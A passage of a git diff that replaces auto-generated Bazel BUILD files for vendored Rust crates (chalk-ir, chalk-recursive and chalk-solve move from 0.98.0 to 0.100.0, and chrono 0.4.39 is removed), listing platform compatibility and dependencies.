+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__bitflags-2.8.0//:bitflags",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.98.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.98.0.bazel
deleted file mode 100644
index 2bdd3b3a0353..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.98.0.bazel
+++ /dev/null
@@ -1,89 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "chalk_ir",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    proc_macro_deps = [
-        "@vendor__chalk-derive-0.98.0//:chalk_derive",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=chalk-ir",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.98.0",
-    deps = [
-        "@vendor__bitflags-2.7.0//:bitflags",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.100.0.bazel
new file mode 100644
index 000000000000..4a3b7135706f
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.100.0.bazel
@@ -0,0 +1,92 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "chalk_recursive",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    proc_macro_deps = [
+        "@vendor_ts__chalk-derive-0.100.0//:chalk_derive",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=chalk-recursive",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__chalk-ir-0.100.0//:chalk_ir",
+        "@vendor_ts__chalk-solve-0.100.0//:chalk_solve",
+        "@vendor_ts__rustc-hash-1.1.0//:rustc_hash",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.98.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.98.0.bazel
deleted file mode 100644
index eecbab031314..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.98.0.bazel
+++ /dev/null
@@ -1,92 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "chalk_recursive",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    proc_macro_deps = [
-        "@vendor__chalk-derive-0.98.0//:chalk_derive",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=chalk-recursive",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.98.0",
-    deps = [
-        "@vendor__chalk-ir-0.98.0//:chalk_ir",
-        "@vendor__chalk-solve-0.98.0//:chalk_solve",
-        "@vendor__rustc-hash-1.1.0//:rustc_hash",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.100.0.bazel
new file mode 100644
index 000000000000..6bea89c9407f
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.100.0.bazel
@@ -0,0 +1,95 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "chalk_solve",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    proc_macro_deps = [
+        "@vendor_ts__chalk-derive-0.100.0//:chalk_derive",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=chalk-solve",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__chalk-ir-0.100.0//:chalk_ir",
+        "@vendor_ts__ena-0.14.3//:ena",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__petgraph-0.6.5//:petgraph",
+        "@vendor_ts__rustc-hash-1.1.0//:rustc_hash",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.98.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.98.0.bazel
deleted file mode 100644
index bca1e7971ed9..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.98.0.bazel
+++ /dev/null
@@ -1,95 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "chalk_solve",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    proc_macro_deps = [
-        "@vendor__chalk-derive-0.98.0//:chalk_derive",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=chalk-solve",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.98.0",
-    deps = [
-        "@vendor__chalk-ir-0.98.0//:chalk_ir",
-        "@vendor__ena-0.14.3//:ena",
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__petgraph-0.6.5//:petgraph",
-        "@vendor__rustc-hash-1.1.0//:rustc_hash",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.39.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.39.bazel
deleted file mode 100644
index 24d353c1eb9b..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.39.bazel
+++ /dev/null
@@ -1,194 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "chrono",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "alloc",
-        "android-tzdata",
-        "clock",
-        "default",
-        "iana-time-zone",
-        "js-sys",
-        "now",
-        "oldtime",
-        "serde",
-        "std",
-        "wasm-bindgen",
-        "wasmbind",
-        "winapi",
-        "windows-targets",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=chrono",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.4.39",
-    deps = [
-        "@vendor__num-traits-0.2.19//:num_traits",
-        "@vendor__serde-1.0.217//:serde",
-    ] + select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-apple-darwin
-        ],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-apple-ios
-        ],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-apple-ios-sim
-        ],
-        "@rules_rust//rust/platform:aarch64-linux-android": [
-            "@vendor__android-tzdata-0.1.1//:android_tzdata",  # aarch64-linux-android
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-linux-android
-        ],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-targets-0.52.6//:windows_targets",  # aarch64-pc-windows-msvc
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-unknown-fuchsia
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-unknown-linux-gnu, aarch64-unknown-nixos-gnu
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-unknown-nto-qnx710
-        ],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # arm-unknown-linux-gnueabi
-        ],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__android-tzdata-0.1.1//:android_tzdata",  # armv7-linux-androideabi
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # armv7-linux-androideabi
-        ],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # armv7-unknown-linux-gnueabi
-        ],
-        "@rules_rust//rust/platform:i686-apple-darwin": [
